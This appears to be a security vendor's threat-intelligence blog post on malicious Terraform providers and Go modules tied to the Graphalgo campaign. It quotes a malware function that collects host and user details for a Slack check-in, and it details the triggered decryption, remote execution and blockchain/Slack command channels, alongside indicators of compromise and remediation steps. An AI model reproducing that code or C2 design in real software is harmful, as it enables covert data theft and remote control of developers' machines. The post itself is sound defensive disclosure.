Aikido

Graphalgo campaign spreads to Terraform providers and Go Modules

Written by
Oliver Smith

We’ve identified Go malware distributed via at least two Terraform providers and at least two Go Modules. This is the first time we’ve observed malware distributed via Terraform providers. The following packages contain the malware:

  • Terraform providers:
    • gocommunity-io/dockerd
    • kreuzwenker/docker
  • Go Modules:
    • gocommunity.io/orderedbtree
    • gogets.dev/btreex

The malware overlaps with the Graphalgo NPM malware campaign, first reported by ReversingLabs in February 2026, and also reported on in the last week by Safedep, CheckMarx, and JFrog. The malware is a Go port of the Graphalgo malware that shares blockchain and Slack infrastructure and a public key with recent JavaScript samples distributed via NPM. The threat actor has also created at least two fake Go ecosystems to help promote its packages, suggesting an ongoing interest in the Go ecosystem. 

Malicious Terraform providers

In early September, a threat actor published the Terraform providers gocommunity-io/dockerd and kreuzwenker/docker. The latter is a typosquat of the popular kreuzwerker/docker Terraform provider, which has 56 million reported downloads. Both providers contain hidden entry points in the  /internal/provider/resource_docker_container_funcs.go file that activate only when the SHA256 hash of the containerName and networkID Terraform variables concatenated together is b9966e3762e9a0d5d263b8cb3cca07294f81af9714d40ddf4628cb85d74e8ad5. This means that the malicious provider is inert except under specific runtime conditions, suggesting the malware is delivered as part of a targeted attack. 

The SHA256 hash is used as an AES key to decrypt a file path from within the package. The malware unzips the archive contents, AES decrypts each contained file, and executes the decrypted code as a Go package using a detached go run . command. The target ZIP file in both providers is examples/resources/docker_container/import-resource.sqlite3 with SHA256 hash 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f.

Second-stage RAT

The second-stage RAT is a Go agent with dual command-and-control channels, using blockchain dead drops and a Slack bot token. The malware initially gathers system information including hardware attributes, OS, hostname, and whether node is available on the infected system. The malware emits this information to a Slack channel called frontend-devs in the Slack workspace hxxps[:]//portfolio-devs.slack[.]com/ (Portfolio Devs). Note that the malware communicates with api.slack.com and the workspace subdomain is not directly contacted by the malware.

func _ddb43801486d() error {
	_ac1ff2594eef := helper.Keys()
	_f20c82d34751, _f2b064c41863 := exec.LookPath("node")
	if _f2b064c41863 != nil {
		_f20c82d34751 = ""
	}
	_352b068ec729 := fmt.Sprintf(
		"*🖥️ System Report*\n"+
			"- Platform : `%s`\n"+
			"- Arch     : `%s`\n"+
			"- Hostname : `%s`\n"+
			"- Username : `%s`\n"+
			"- Home Dir : `%s`\n"+
			"- Node 	: `%s`\n"+
			"- Time 	: `%s`\n",
		_ac1ff2594eef.OS,
		_ac1ff2594eef.Architecture,
		_ac1ff2594eef.Hostname,
		_ac1ff2594eef.User.Username,
		_ac1ff2594eef.User.HomeDir,
		_f20c82d34751,
		_ac1ff2594eef.Time.Current,
	)

	if _0a93526f257a := helper.NewWith(_352b068ec729); _0a93526f257a != nil {

	}

	return nil
}

Following the check-in call, the malware generates an ephemeral public-private key pair. The malware generates shared keys by combining its ephemeral key with two threat actor public keys. The shared key allows the malware to communicate with infected clients using shared channels without exposing C2 communications or leaking messages between infected hosts. For Slack C2 communications, the malware uses the hardcoded public key 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702. The malware writes each client’s public key to the frontend-devs channel, after which all communication is encrypted using the shared key. Subsequent communications are sent to a different Slack workspace, hxxps[:]//portfolio-testers.slack[.]com/ (Portfolio-testers), into a channel named qa-announcements.

For blockchain-based C2, the malware retrieves data from an Ethereum smart contract on the Arbitrum Sepolia testnet using the hardcoded contract address 0xAD02b5cDE693529d3bdA0266299501ad0193036C, then:

  • Retrieves the private key for a shared Ethereum wallet.
  • Decrypts the private key using a key derived from the same  material used to decrypt the second stage.
  • Retrieves the threat actor’s public key from the contract.
  • Creates a shared key using the public key and the ephemeral private key.
  • Writes its ephemeral private key to the contract using the setCPubKey method.
  • Reads encrypted commands from serviceData1 and serviceData2.

The shared wallet only has write permissions for the setCPubKey key-value store, limiting avenues for rogue clients to disrupt the C2 channel with dummy messages. 

The malware polls for blockchain instructions every 3 seconds and Slack instructions every 10 seconds. Decrypted C2 messages contain a header that tells the malware to execute the body as additional Go or JavaScript code (via node) or to self-delete. 

The C2 mechanism is further indication that this malware is part of a targeted operation. The threat actor’s ability to issue commands is bottlenecked because all clients consume all messages and no-op when they fail to decrypt messages intended for other clients. This is a notably sophisticated implementation of a blockchain dead drop that integrates bidirectional communication with minimal risk of information leakage or disruption. Given the increasing popularity of blockchain dead drops in malware, organizations without a business need to interact with blockchains should consider alerting on network communications with HTTP-based blockchain services. 

Go Module variants

We also identified the same Go malware being distributed via two Go Modules. The module gocommunity.io/orderedbtree, first published on 11 August, contained the malware in plaintext rather than hiding it in an encrypted and compressed form. The latter package, gogets.dev/btreex, hid the malware inside a ZIP archive masquerading as a SQL file with SHA256 hash ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5. The latter package required specially crafted input to activate, consistent with the Terraform providers - the malware would only activate when processing an object with a specific price integer value. 

gogets.dev/btreex was first published on 8 September. The threat actor used forged commits in the gogets-dev/btreex repository to backdate commits to November 2025. Because Go Modules treats commit dates as authoritative, the Go module proxy and pkg.go.dev display the falsified release date.

Campaign timeline

The public key  302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702 used in this malware has also been used across NPM payloads since at least April 2026, first appearing in the malicious NPM package modern-events. Common smart contract addresses, Telegram addresses and Slack workspaces link back to ReversingLabs’ April blog post on the Graphalgo campaign. 

At the time of our analysis, the qa-announcements Slack channel contained 1240 encrypted messages since the first available message on 16 July, and the contract contained 1402 transactions spanning back to 6 August. 

Plaintext check-in messages in the threat actor’s Slack channel contain 18 unique hostnames over 725 messages. Three recorded victims are on Windows devices, five on Linux, and 10 on macOS. We do not have sufficient information to notify any victims based on the plaintext check-in data, but the scale of the threat actor’s operations appears to be small and targeted. Based on the earliest messages in the chat, the threat actor tested this variant of the malware on a Windows device with the hostname Frank and the username Frank1, starting on 16 July 2026.

GitHub pivots and fake Go ecosystems

The following GitHub accounts and organizations were used to support this activity. We note that the threat actor periodically cleans up its malware on GitHub, likely to prolong the lifespan of GitHub accounts. 

Related Package GitHub Account/Org Comment
gocommunity-io/dockerd gocommunity-io TA-controlled organization
gocommunity-io/dockerd go-pack-tech Committed malware
kreuzwenker/docker kreuzwenker Committed malware
gocommunity.io/orderedbtree victormmpp Published dropper repo with forged commits to execute malware
gogets.dev/btreex gogets-dev TA-controlled organization
gogets.dev/btreex markcary3 Committed malware
gogets.dev/btreex steveb082 Member of TA-controlled organization
gogets.dev/btreex go-community-admin Member of TA-controlled organization

Both of the threat actor-controlled GitHub organizations have companion websites purporting to be new Go package ecosystems, gogets[.]dev and gocommunity[.]io. Both domains were registered within one day of the threat actor-controlled GitHub organizations. Both domains purport to offer a vanity naming system for Go packages but do not provide a mechanism for external users to add packages and appear non-functional. These domains are likely used by the threat actor in social engineering to increase the perceived legitimacy of the malicious packages. 

The creation of a dedicated ecosystem infrastructure to support social engineering against Go developers suggests the threat actor intends to continue publishing malware targeting the Go supply chain. Targeting Terraform providers is also notable - while developer workstations are consistently high-value targets for threat actors, Terraform users are more likely to be involved in infrastructure deployment. By targeting DevOps workstations, the threat actor may get an even more direct pathway to critical production credentials. While we’re aware of other recent research on malicious Terraform providers, this incident is the first instance of systematic malware distribution through Terraform we’re aware of. 

Indicators of compromise

Packages (any versions):

  • Terraform providers:
    • gocommunity-io/dockerd
    • kreuzwenker/docker
  • Go Modules:
    • gocommunity.io/orderedbtree
    • gogets.dev/btreex

Files:

  • import-resource.sqlite3
    • 5f892a5424e88a21a3eb3d7f82ebf04d8ac31cdb19ada25153be4165df977d0f
  • btreex.sql
    • ab01686d87565250fc4989faddb877d793667b07ec217a61cbd798f5695d62f5

Domains:

  • gocommunity[.]io
  • gogets[.]dev

Other:

  • Threat actor public key: 
  • 302a300506032b656e032100bad013df6eec5d686f4cc8551e0a5c87a0135164bdd1dafb1c75141d1b526702
  • Slack workspaces: 
    • hxxps[:]//portfolio-devs.slack[.]com
    • hxxps[:]//portfolio-testers.slack[.]com
    • hxxps[:]//mediumstar.slack[.]com (historical unreported indicator)

How Aikido protects you

Both malicious Go Modules identified in this campaign, gocommunity.io/orderedbtree and gogets.dev/btreex, are already flagged as malware in Aikido Intel. If either package shows up anywhere in your dependency tree, you'll be alerted immediately.

We do not yet have monitoring in place for the Terraform Registry. The two malicious Terraform providers in this campaign, gocommunity-io/dockerd and kreuzwenker/docker will not be in the Aikido dashboard. We're extending our coverage to Terraform providers shortly.

If any of the packages or providers listed above were installed on a developer machine or CI/CD runner, treat that whole environment as compromised, and assume the machine itself is affected well beyond the single package.

  • Isolate the machine from the network. Given the malware's C2 channels (Slack API calls and an Ethereum smart contract), an infected host may still be reachable by the threat actor even after the package is removed.
  • Rotate every credential that touched that machine. Don't stop at Go module tokens. Rotate GitHub/GitLab tokens, npm/PyPI/Go publish tokens, cloud provider credentials, and SSH keys. If the affected package ran via a Terraform provider, prioritize cloud and infrastructure credentials specifically, since this campaign's Terraform vector targets DevOps workstations with a direct line to production access.
  • Check for unauthorized activity during the exposure window. Review recent commits, package publishes, Terraform applies, and GitHub Actions runs made from that machine or using its credentials. Assume the attacker may have acted using valid, working credentials.
  • Remove the package and reimage the machine. Because the malware executes a decrypted second stage via a detached go run ., deleting the package alone does not guarantee everything it launched is gone. Re-imaging is the only way to be confident the host is clean.

If you're unsure whether a package in your environment matches these indicators, the full list of hashes, domains, and the threat actor's public key is in the Indicators of Compromise section above.

Share:

https://www.aikido.dev/blog/graphalgo-terraform-go-modules

Scan for malware

Start for Free
4.7/5
Tired of false positives?

Try Aikido like 100k others.
Start Now
Get a personalized walkthrough

Trusted by 100k+ teams

Book Now
Scan your app for IDORs and real attack paths

Trusted by 100k+ teams

Start Scanning
See how AI pentests your app

Trusted by 100k+ teams

Start Testing

Get secure now

Secure your code, cloud, and runtime in one central system.
Find and fix vulnerabilities fast automatically.

No credit card required | Scan results in 32secs.